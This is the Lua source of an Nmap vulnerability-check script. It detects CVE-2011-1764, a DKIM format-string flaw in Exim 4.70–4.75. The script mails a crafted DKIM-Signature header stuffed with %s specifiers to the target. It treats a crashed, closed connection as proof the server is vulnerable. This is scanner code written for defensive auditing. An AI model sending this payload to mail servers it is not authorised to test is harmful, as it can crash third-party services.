description = [[
Checks for a format string vulnerability in the Exim SMTP server with
DomainKeys Identified Mail (DKIM) support, version between 4.70 and 4.75.
The DKIM logging mechanism did not use format string specifiers when
logging some parts of the DKIM-Signature header field. A remote attacker
who is able to send emails, can exploit this vulnerability and execute
arbitrary code with the privileges of the Exim daemon (CVE-2011-1764). 

Reference:
* http://bugs.exim.org/show_bug.cgi?id=1106
* http://thread.gmane.org/gmane.mail.exim.devel/4946
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=2011-1764
* http://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
]]

---
-- @usage
-- nmap --script=smtp-vuln-cve2011-1764 -pT:25,465,587 <host>
--
-- @output
-- PORT   STATE SERVICE
-- 25/tcp open  smtp
-- | smtp-vuln-cve2011-1764:
-- |   Exim version: 4.72
-- |   Exim DKIM Signatures Format String (CVE-2011-1764):
-- |_    Exim (CVE-2011-1764): VULNERABLE
--
-- @args smtp.domain Define the domain to be used in the SMTP EHLO command.
-- @args smtp-vuln-cve2011-1764.mailfrom Define the source email address to
--       be used.
-- @args smtp-vuln-cve2011-1764.mailto Define the destination email address
--       to be used.

author = "Djalal Harouni"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "vuln"}

require "shortport"
require "smtp"
require "stdnse"

portrule = function (host, port)
  if port.version.product ~= nil and port.version.product ~= "Exim smtpd" then
     return false
  end
  return shortport.port_or_service({25, 465, 587},
              {"smtp", "smtps", "submission"})(host, port)
end

local function smtp_finish(socket, status, msg)
  if socket then
    socket:close()
  end
  return status, msg
end

local function get_exim_banner(response)
  local banner, version
  banner = response:match("%d+%s(.+)")
  if banner and banner:match("Exim") then
    version = tonumber(banner:match("Exim%s([0-9\.]+)"))
  end
  return banner, version
end

-- Sends the mail with the evil DKIM-Signatures header.
-- Returns true, true if the Exim server is vulnrable
local function check_dkim(socket, smtp_opts)
  local killed = false
  
  stdnse.print_debug(2, "%s: checking the Exim DKIM Format String",
        SCRIPT_NAME)

  local status, response = smtp.mail(socket, smtp_opts.mailfrom)
  if not status then
    return status, response
  end

  status, response = smtp.recipient(socket, smtp_opts.mailto)
  if not status then
    return status, response
  end

  status, response = smtp.datasend(socket)
  if not status then
    return status, response
  end

  local message = "MIME-Version: 1.0\r\n"
  message = message..string.format("From: <%s>\r\nTo: <%s>\r\n",
                                   smtp_opts.mailfrom,
                                   smtp_opts.mailto)
  message = message.."Subject: Nmap Exim DKIM Format String check\r\n"

  -- use a fake DKIM-Signature header.
  message = message.."DKIM-Signature: v=1; a=%s%s%s%s;"
  message = message.." c=%s%s%s%s; q=dns/txt;\r\n"
  message = message.." d=%s%s%s%s; s=%s%s%s%s;\r\n"
  message = message.." h=mime-version:from:to:subject;\r\n"
  message = message.." bh=MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTI=;\r\n"
  message = message.." b=DyE0uKynaea3Y66zkrnMaBqtYPYVXhazCKGBiZKMNywclgbj0MkREPH3t2EWByev9g="
  status, response = socket:send(message.."\r\n")
  if not status then
    return status, "failed to send the message."
  end

  status, response = smtp.query(socket, ".")
  if not status then
    if string.match(response, "connection closed") then
      stdnse.print_debug(2,
          "%s: Exim server is vulnerable to DKIM Format String", SCRIPT_NAME)
      killed = true
    else
      return status, "failed to terminate the message, seems NOT VULNERABLE"
    end
  end

  return true, killed
end

-- Checks if the Exim server is vulnerable to CVE-2011-1764
local function check_exim(smtp_opts)
  local out, smtp_server = {}, {}
  local exim_ver_min, exim_ver_max = 4.70, 4.75
  local cve = 'CVE-2011-1764'
  local exim_dkim_str = "Exim DKIM Signatures Format String ("..cve.."):"
  local exim_dkim_result

  local socket, ret = smtp.connect(smtp_opts.host,
                          smtp_opts.port,
                          {ssl = true,
                          timeout = 10000,
                          recv_before = true,
                          lines = 1})

  if not socket then
    return smtp_finish(nil, socket, ret)
  end

  smtp_server.banner, smtp_server.version = get_exim_banner(ret)
  if not smtp_server.banner then
    return smtp_finish(socket, false,
              'failed to read the SMTP banner.')
  elseif not smtp_server.banner:match("Exim") then
    return smtp_finish(socket, false,
              'not a Exim server: NOT VULNERABLE')
  end

  if smtp_server.version then
    if smtp_server.version <= exim_ver_max and
      smtp_server.version >= exim_ver_min then
      exim_dkim_result = string.format("  Exim (%s): LIKELY VULNERABLE", cve)
      table.insert(out,
          string.format("Exim version: %.02f", smtp_server.version))
    else
      return smtp_finish(socket, false,
                string.format("Exim version %.02f is NOT VULNERABLE.",
                              smtp_server.version))
    end
  end
  
  local status, response = smtp.ehlo(socket, smtp_opts.domain)
  if not status then
    return smtp_finish(socket, status, response)
  end

  -- set the appropriate 'MAIL FROM' and 'RCPT TO' values
  if not smtp_opts.mailfrom then
    smtp_opts.mailfrom = string.format("root@%s", smtp_opts.domain)
  end
  if not smtp_opts.mailto then
    smtp_opts.mailto = string.format("postmaster@%s",
                          smtp_opts.host.targetname and
                          smtp_opts.host.targetname or 'localhost')
  end

  status, ret = check_dkim(socket, smtp_opts)
  if not status then
    return smtp_finish(socket, status, ret)
  elseif ret then
    exim_dkim_result = string.format("  Exim (%s): VULNERABLE", cve)
  elseif not exim_dkim_result then
    return smtp_finish(socket, false, 'Exim server seems NOT VULNERABLE.')
  end

  table.insert(out, exim_dkim_str)
  table.insert(out, exim_dkim_result)
  return smtp_finish(socket, true, out)
end

action = function(host, port)
  local smtp_opts = {
    host = host,
    port = port,
    domain = stdnse.get_script_args('smtp.domain') or
              'nmap.scanme.org',
    mailfrom = stdnse.get_script_args('smtp-vuln-cve2011-1764.mailfrom'),
    mailto = stdnse.get_script_args('smtp-vuln-cve2011-1764.mailto'),
  }
  local status, output = check_exim(smtp_opts)
  if not status then
    stdnse.print_debug(1, "%s: %s", SCRIPT_NAME, output)
    return nil
  end
  return stdnse.format_output(status, output)
end